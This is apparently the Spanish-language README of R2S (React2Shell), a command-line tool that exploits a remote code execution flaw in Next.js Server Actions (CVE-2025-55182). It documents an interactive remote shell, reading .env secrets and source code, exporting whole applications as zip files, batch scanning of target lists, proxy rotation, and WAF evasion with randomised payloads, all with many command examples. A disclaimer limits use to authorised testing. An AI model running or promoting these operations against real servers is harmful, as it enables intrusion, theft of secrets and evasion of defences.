
Herramienta avanzada de pruebas de seguridad para la evaluación de vulnerabilidades CVE-2025-55182 en aplicaciones Next.js. Incluye shell interactivo, escaneo por lotes, bypass de WAF e informes completos.
Herramienta avanzada de pruebas de explotación para la evaluación de vulnerabilidades CVE-2025-55182
Características • Instalación • Uso • Entorno de Pruebas • Aviso Legal
R2S (React2Shell) es una herramienta de pruebas de seguridad diseñada para ayudar a investigadores de seguridad, desarrolladores y probadores de penetración a evaluar si sus aplicaciones Next.js son vulnerables a CVE-2025-55182.
CVE-2025-55182 es una vulnerabilidad crítica que afecta a Server Actions de Next.js en ciertas versiones (por ejemplo, 16.0.5). Esta vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios en el servidor a través de Server Actions asegurados incorrectamente, lo que conduce a la Ejecución Remota de Código (RCE).
R2S te ayuda a comprobar si tu aplicación tiene este problema para que puedas solucionarlo antes de que actores malintencionados lo encuentren.
--windows)⚠️ ADVERTENCIA CRÍTICA: El indicador --windows puede hacer que la herramienta FALLE al determinar la vulnerabilidad si se usa incorrectamente.
--windows: Solo si estás 100% seguro de que el servidor objetivo es Windows--windows en un servidor Linux, los comandos fallarán y la herramienta puede reportar "no vulnerable" incluso si el servidor es vulnerable--windows a menos que sepas que el objetivo es WindowsEjemplo:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
## ⚠️ Aviso Legal
**IMPORTANTE: LEA ESTO ANTES DE USAR ESTA HERRAMIENTA**
1. **Esta herramienta es SOLO para pruebas de seguridad LEGÍTIMAS**
- ✅ Pruebe sus propias aplicaciones
- ✅ Pruebe aplicaciones para las que tenga permiso por escrito
- ✅ Fines educativos e investigación en seguridad
- ❌ **NUNCA la use en sistemas que no sean suyos o que no tenga permiso para probar**
- ❌ **NUNCA la use con fines maliciosos**
2. **Al usar esta herramienta, usted acepta que:**
- Solo la usará en sistemas propios o para los que tenga permiso explícito por escrito
- Entiende que el acceso no autorizado a sistemas informáticos es ilegal
- Acepta toda la responsabilidad por sus acciones
- Los autores no son responsables del mal uso de esta herramienta
3. **Consecuencias Legales:**
- El acceso no autorizado a sistemas informáticos es un delito en la mayoría de los países
- Podría enfrentar cargos penales, multas y prisión
- Obtenga siempre permiso por escrito antes de realizar pruebas
4. **Esta herramienta se proporciona "AS IS" sin garantía de ningún tipo**
**Si es menor de 18 años, asegúrese de contar con supervisión y permiso de un adulto antes de usar esta herramienta.**
---
## ✨ Características
### Capacidades Principales
- 🔍 **Detección de Vulnerabilidades** - Compruebe rápidamente si un servidor es vulnerable a CVE-2025-55182
- 💻 **Shell Interactivo** - Sesión de shell interactiva completa a través de HTTPS con historial de comandos
- 📁 **Operaciones de Archivos** - Liste directorios, lea archivos y exporte archivos/archivos comprimidos
- 🔐 **Extracción de Secretos** - Intente leer los secretos de la aplicación (archivos .env, archivos de configuración)
- 📄 **Extracción de Código** - Intente leer el código fuente de la aplicación
- 🖥️ **Información del Sistema** - Recopile información del sistema operativo, nombre de host, usuario y variables de entorno
### Características Avanzadas
- 🚀 **Auto-Warming de Payloads** - Optimice automáticamente los payloads para obtener los mejores resultados
- ⚡ **Ejecución en Paralelo** - Ejecute múltiples comandos simultáneamente
- 🎲 **Aleatorización de Payloads** - Evite la detección con payloads dinámicos
- 🛠️ **Módulos de Explotación** - Sistema de módulos estilo Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Manejo de Redirecciones** - Siga automáticamente las redirecciones HTTP (301, 302, 303, 307, 308)
- 🎨 **Interfaz Atractiva** - Salida con código de colores para facilitar la lectura
- 📊 **Informes Exhaustivos** - Guarde informes automáticamente en formatos JSON, HTML y TXT con formateadores específicos por operación
- ⚙️ **Sistema de Configuración** - Configuración basada en JSON con panel de ajustes interactivo
- 📦 **Funcionalidad de Exportación** - Exporte archivos individuales o directorios completos de la aplicación como archivos zip
- 🔒 **Evasión de WAF** - Múltiples técnicas de evasión (⚠️ No garantizado - consulte las limitaciones más abajo)
### Informes y Registros
- 📝 **Guardado Automático de Informes** - Guarde informes automáticamente en `~/.r2s/reports/` con marcas de tiempo legibles
- 📋 **Formatos Específicos por Operación** - Diferentes formatos de informe para distintas operaciones (shell, test, secrets, etc.)
- 📜 **Historial de Comandos** - Historial de comandos persistente guardado en `~/.r2s/history`
- 🔍 **Pistas de Auditoría** - Registro detallado de todas las operaciones en `~/.r2s/logs/audit.log`
- 🎨 **Informes HTML** - Informes HTML atractivos con modo oscuro/claro, botones de copiado y bloques de código
---
## 📦 Instalación
### Opción 1: Compilar desde el Código Fuente (Recomendado)
1. **Clone el repositorio:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Inicio Rápido
### Prueba Básica de Vulnerabilidad```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Importante: No uses --windows a menos que estés seguro de que el objetivo es Windows. Usar --windows en un servidor Linux provocará falsos negativos (la herramienta puede informar "no vulnerable" incluso si el servidor es vulnerable).
Proporcionamos un entorno de pruebas seguro en **https://r2s-arena.fly.dev**:```bash
r2s -u https://r2s-arena.fly.dev -t
### Probar localmente
Consulta [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para obtener instrucciones sobre cómo ejecutar la aplicación vulnerable localmente.
---
## 📚 Ejemplos de uso
### Referencia rápida de comandos
**Comandos más comunes:**
- `r2s -u URL -t` - Probar vulnerabilidad (el más común)
- `r2s -u URL --shell` - Iniciar shell interactivo
- `r2s --targets FILE -t` - Escaneo por lotes de múltiples objetivos
- `r2s -u URL --system-info` - Obtener información del sistema
- `r2s -u URL --secrets` - Intentar leer secretos
- `r2s -u URL --export-archive` - Exportar la aplicación completa como zip
**⚠️ Recuerda**: No uses `--windows` a menos que el objetivo sea Windows.
---
### Operaciones básicas```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Módulos de explotación```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Secretos y Extracción de Código```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Opciones Avanzadas```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Registro y Auditoría```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Informes```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Auditoría de seguridad```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Use la aplicación nextjs proporcionada para realizar pruebas locales seguras:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Consulte [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para obtener instrucciones detalladas.
---
## 🏗️ Arquitectura
R2S utiliza una arquitectura modular para su mantenibilidad y extensibilidad:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
Consulte react2shell/README.md para obtener documentación detallada sobre la arquitectura.
Proporcionamos un entorno de pruebas seguro llamado nextjs que puedes usar para probar la herramienta sin poner en riesgo sistemas reales.
Visita: https://r2s-arena.fly.dev
Esta es una aplicación disponible públicamente e intencionalmente vulnerable, únicamente con fines de prueba.
Consulta nextjs/README.md para obtener instrucciones sobre cómo ejecutarla localmente.
⚠️ Importante: La aplicación nextjs es intencionalmente vulnerable y NUNCA debe usarse en producción ni con datos reales.
| Comando | Descripción |
|---|---|
--export FILE, --ex FILE | Exporta un único archivo del objetivo (se guarda en ~/.r2s/exports/{domain}/) |
--export-archive | Exporta todo el directorio de la aplicación como un archivo zip. Crea el zip en el servidor, lo descarga y luego lo elimina del servidor. Excluye los patrones de .gitignore. Se guarda en ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Comando | Descripción |
|---|---|
--module NAME | Ejecuta un módulo de explotación |
--module-list, --list-modules |
| Opción | Descripción |
|---|---|
--output FILE, -o FILE |
| Opción | Descripción |
|---|---|
--targets FILE | Escanea múltiples objetivos desde un archivo (una URL por línea, admite comentarios con #) |
--batch | Modo por lotes: omite todas las indicaciones interactivas y continúa automáticamente (útil para automatización/scripts) |
| Comando | Descripción |
|---|---|
r2s settings | Abre el panel de configuración interactivo |
r2s -u https://target.com -t --insecure
### "Error de conexión"
- Comprueba si el servidor está en ejecución
- Verifica que la URL sea correcta
- Revisa la configuración del cortafuegos
- Intenta aumentar el tiempo de espera: `--timeout 30`
### "Solicitud bloqueada"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ IMPORTANTE: Indicador de comandos de Windows
Si estás obteniendo falsos negativos (la herramienta dice "no vulnerable" pero el objetivo realmente lo es), comprueba:
¿Usaste el indicador --windows?
--windows hace que la herramienta use comandos de Windows (PowerShell, dir, etc.)--windows hará que la herramienta FALLE--windows (Unix/Linux es el valor predeterminado)Detección de plataforma
--windows solo si estás 100% seguro de que el objetivo es WindowsComando de prueba
echo $((41*271))--windows, usa: powershell -c "41*271"Ejemplo del problema:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Limitaciones de la evasión de WAF
**⚠️ Importante:** Las técnicas de evasión de WAF en esta herramienta **NO están garantizadas** y tienen varias limitaciones:
- **No universal**: Diferentes WAF utilizan diferentes métodos de detección. Lo que funciona para uno puede no funcionar para otro.
- **Detección estática**: Algunos WAF utilizan coincidencia de patrones estáticos que puede evadirse, pero los WAF modernos utilizan análisis de comportamiento.
- **Limitación de frecuencia**: Muchos WAF implementan limitación de frecuencia que puede bloquear intentos repetidos.
- **Aprendizaje automático**: Los WAF avanzados utilizan modelos de ML que se adaptan y aprenden de los patrones de ataque.
- **Cloudflare/AWS WAF**: Los WAF de nivel empresarial (Cloudflare, AWS WAF, etc.) son extremadamente difíciles de evadir.
- **Sin garantías**: Las técnicas de evasión son experimentales y pueden fallar contra WAF bien configurados.
**Buenas prácticas:**
- Usar la evasión de WAF como último recurso
- Probar diferentes estrategias de cabecera (`--header-strategy`)
- Combinar con `--randomize` para obtener mejores resultados
- Entender que algunos objetivos pueden ser imposibles de evadir
- Probar siempre en sistemas que poseas o para los que tengas permiso de prueba
### Problemas de compilación```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Para eliminar de forma segura todos los artefactos de compilación (directorios de build, archivos de caché, etc.):```bash ./build.sh cleanup
Esto eliminará:
- `build/` directorio (archivos de compilación de PyInstaller)
- `dist/` directorio (binarios compilados)
- `__pycache__/` directorios (caché de Python, recursivamente)
- `*.pyc` archivos (bytecode de Python compilado)
- `*.pyo` archivos (bytecode de Python optimizado)
- `*.spec` archivos (archivos spec de PyInstaller)
**Nota:** Esto solo elimina artefactos de compilación, no tu código fuente. La limpieza es segura y solicitará confirmación antes de continuar.
---
## 📁 Estructura de Archivos```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
¡Las contribuciones son bienvenidas! Por favor:
Recuerda: Solo contribuye con código que ayude a realizar pruebas de seguridad legítimas.
Este proyecto está licenciado bajo la Licencia MIT: consulta el archivo LICENSE para obtener más detalles.
Sin embargo, el uso de esta herramienta está sujeto al aviso legal anterior. Usar esta herramienta para accesos no autorizados es ilegal y no está cubierto por esta licencia.
zamdevio
Esta herramienta es SOLO para fines de pruebas de seguridad y educativos.
¡Mantente legal, ético y seguro! 🛡️
Hecho con ❤️ para la comunidad de seguridad
| Comando | Descripción |
|---|
-u, --url URL | URL objetivo (necesaria para la mayoría de las operaciones) |
-t, --test | Comprueba si el servidor es vulnerable |
-ld, --list-dir PATH | Lista el contenido del directorio |
-rf, --read-file FILE | Lee el contenido del archivo |
-si, --system-info | Obtiene información del sistema |
-sr, --secrets | Intenta leer secretos |
-c, --code | Intenta leer el código fuente |
-cmd, --command CMD | Ejecuta un comando personalizado |
--shell | Inicia un shell interactivo |
| Lista los módulos disponibles |
--module-info NAME | Muestra información del módulo |
--set KEY=VALUE | Establece una opción del módulo |
| Opción | Descripción |
|---|
--waf-bypass | Prueba técnicas de evasión de WAF (⚠️ No garantizado: consulta las limitaciones más abajo) |
--waf-bypass-size KB | Tamaño de datos basura para evasión de WAF en KB (predeterminado: 128) |
--vercel-waf-bypass | Activa técnicas de evasión de WAF específicas de Vercel |
--header-strategy STRATEGY | Estrategia de encabezados HTTP: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Ejecuta N comandos en paralelo (útil para varios comandos) |
--auto-warm | Calienta y optimiza automáticamente los payloads antes de la ejecución |
--randomize | Aleatoriza los payloads para evadir la detección estática |
--no-follow-redirects | No seguir automáticamente las redirecciones HTTP (301, 302, etc.) |
-k, --insecure | Desactiva la verificación de certificados SSL (usar con precaución) |
--timeout SECONDS | Tiempo de espera de la solicitud en segundos (predeterminado: 10, usa 0 para sin tiempo de espera) |
--windows | ⚠️ ADVERTENCIA: Usa comandos de Windows en lugar de Unix/Linux. Esto puede hacer que la herramienta NO pueda determinar la vulnerabilidad si el objetivo es en realidad Unix/Linux. Usa esto solo si estás seguro de que el objetivo es Windows. |
--rate RATE | Limita las solicitudes a RATE solicitudes por segundo (útil para escaneos por lotes) |
--delay SECONDS | Añade un retraso entre solicitudes en segundos (ayuda a evitar la limitación de frecuencia) |
--batch | Modo por lotes: omite todas las indicaciones interactivas y continúa automáticamente (útil para automatización) |
| Guarda los resultados en un archivo específico (desactiva el guardado automático) |
--no-report | Desactiva el guardado automático de informes en ~/.r2s/reports/ |
--log FILE | Registra todas las operaciones en el archivo especificado (registro detallado de operaciones) |
--audit | Crea una traza de auditoría detallada (se guarda en ~/.r2s/logs/audit.log) |
| Opción | Descripción |
|---|
--proxy URL | Usa un proxy HTTP (formato: http://proxy:port o http://user:pass@proxy:port) |
--proxy-file FILE | Carga y rota proxies desde un archivo (un proxy por línea, formato: http://proxy:port) |
--rate RATE | Limita las solicitudes a RATE solicitudes por segundo (evita saturar el objetivo) |
--delay SECONDS | Añade un retraso entre solicitudes en segundos (ayuda a evitar la limitación de frecuencia) |
r2s cleanup| Elimina todos los datos de R2S (config, historial, registros, informes, exportaciones) |
r2s uninstall | Desinstala el binario de R2S y todos los datos |
r2s help | Muestra el mensaje de ayuda |